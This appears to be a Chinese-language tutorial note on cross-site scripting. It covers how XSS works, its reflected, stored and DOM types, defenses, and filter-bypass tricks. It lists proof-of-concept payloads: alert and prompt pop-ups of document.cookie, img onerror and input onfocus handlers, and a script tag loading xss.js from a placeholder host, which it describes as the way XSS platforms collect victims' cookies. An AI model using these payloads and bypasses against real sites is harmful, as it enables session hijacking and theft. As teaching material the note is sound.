Xss跨站脚本攻击(Cross Site Script)

简介: Xss跨站脚本攻击(Cross Site Script)

原理:

XSS攻击的核心思想就是在HTML页面中注入恶意代码服务器过滤不严格导致攻击者输入的恶意js代码被web前端执行XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览

危害:

获取管理员cookie/提权,网站篡改,敏感信息泄露,钓鱼,网站挂马,客户端攻击,传播蠕虫


防御:

对用户输入和web输出均进行过滤,过滤特殊字符<>,",#,特殊标签,JS动作等等;限制用户输入数据的类型/长度;黑白名单;通过使cookie和系统IP绑定,来降低cookie泄露后的危险;httponly:禁止JavaScript读取,防JavaScript读取,防止xss攻击劫持cookie


区别:

反射和存储:存储型是存储在服务器上,可以被多次执行;反射型只执行一次    


dom和反射:dom只经过dom节点运行,不会经过服务器;反射型会经过服务器


反射型

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中


反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。


存储型

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。


此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。


DOM型

只是基于前端本地的攻击类型,和服务器没有交互,根据是否和服务器产生了交互来进行判断。

f277a994a798231296ea4c3c3f22c787_675e7550c7994056a76a33a8ce4eb6eb.png


绕过方式

大小写


双写


编码可以通过将输入的代码用不同的语言重新编码


<script><script>


等价替换(冷门标签)


更换非黑名单标签/更换非过滤标签


添加能够绕过黑名单的字符串,并注释掉,保证代码正常执行且绕过过滤


利用方式

诱使用户点击、


xss平台、


beef(短链接)


水坑攻击


鱼叉攻击


鱼叉式攻击和水坑攻击?

鱼叉攻击:指利用木马程序作为电子邮件的附件,发送到目标电脑上,诱导受害者去打开附件来感染木马

水坑攻击:分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,将网站攻破并植入恶意程序,等待目标访问


Xss平台的平台

Xss平台是通过利用js的远程执行参数<script src = http://xxx/.js>,使对方管理员在上线时执行这个标签然后来访问我们平台并执行这个js里的一些动作,然后会将指定参数发送到我们搭建的服务器上


不能弹窗有什么替换方式

控制台输出console.log


弹出用户cookie:document.cookie

cookie和session区别


cookie:当用户访问服务器的时候服务器会分配给用户一个cookie用于记录用户的身份信息,保存在浏览器中,只要cookie不过期用户就可以对服务器进行操作


session:用户访问服务器时服务器会生成一个sessionid,当用户进行访问操作的时候服务器会查找对应的seeionid,session会记录当前用户的行为、信息。保存在服务器中。


ec6e47828652a03d1093ba5fc2419ece_557e5612261b4b9fb1f69e6610bd7517.png


常用标签

javascript伪链接:可以在<a href="javascript:void(0)"></a>标签中添加JavaScript的关键词去执行
 
javascript事件:可以插入进html标签,指定事件元素,在事件触发时 JavaScript 可以执行一些代码
 
<script> 标签用于定义客户端脚本,比如 JavaScript。
 
<script>alert("hack")</script>   #弹出hack
 
<script>alert(/hack/)</script>   #弹出hack
 
<script>alert(1)</script>        #弹出1,对于数字可以不用引号
 
<script>alert(document.cookie)</script>      #弹出cookie
 
<script src=http://xxx.com/xss.js></script>  #引用外部的xss
 
 
<img> 标签定义 HTML 页面中的图像。
 
<img src=1 onerror=alert(1);>
 
<img src=1 onerror=alert("xss");>
 
 
<input> 标签规定了用户可以在其中输入数据的输入字段。
 
onfocus 事件在对象获得焦点时发生:
 
<input onfocus=alert(1);>
 
 
<a href='javascript:alert(/xss/)'>click me!</a>

67af4f6288337c01a538afe831660220_b453f080a8d44bf19985b50001865ad9.png

1.alert()
 
alert(‘xss’)
 
alert(“xss”)
 
alert(/xss/)
 
alert(document.cookie)
 
2.confirm()
 
confirm(‘xss’)
 
confirm(“xss”)
 
confirm(/xss/)
 
confirm(document.cookie)
 
3.prompt()
 
prompt(‘xss’)
 
prompt(“xss”)
 
prompt(/xss/)
 
prompt(document.coolkie)
 
(/xss/)以上三种方法都可以实现,但是会多出两个‘/’
 
4.document.write()
 
- document.write('<script>alert("xss")<\/script>')
 
- document.write('<script>alert(/xss/)<\/script>')
 
- document.write('<script>alert(document.cookie)<\/script>')
 
括号里不能使用单引号;
 
alert也可以换成其他弹窗方式;
 
5.console.log()
 
console.log(alert(‘xss’))
 
console.log(alert(“xss”))
 
console.log(alert(/xss/))
 
console.log(alert(document.cookie))
 
6.输出控制台
 
1.console.error(111)
 
2.console.log(document.cookie)
 
3.console.dir(111)
相关文章
|
12天前
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
79 49
|
17天前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
52 4
|
16天前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
44 2
|
18天前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
51 3
|
11天前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
21 0
|
4月前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
2月前
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
341 1
|
1月前
|
存储 JavaScript 安全
|
4月前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
90 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
3月前
|
监控 安全 JavaScript
对跨站脚本攻击(XSS)的防御策略?
【8月更文挑战第15天】
309 1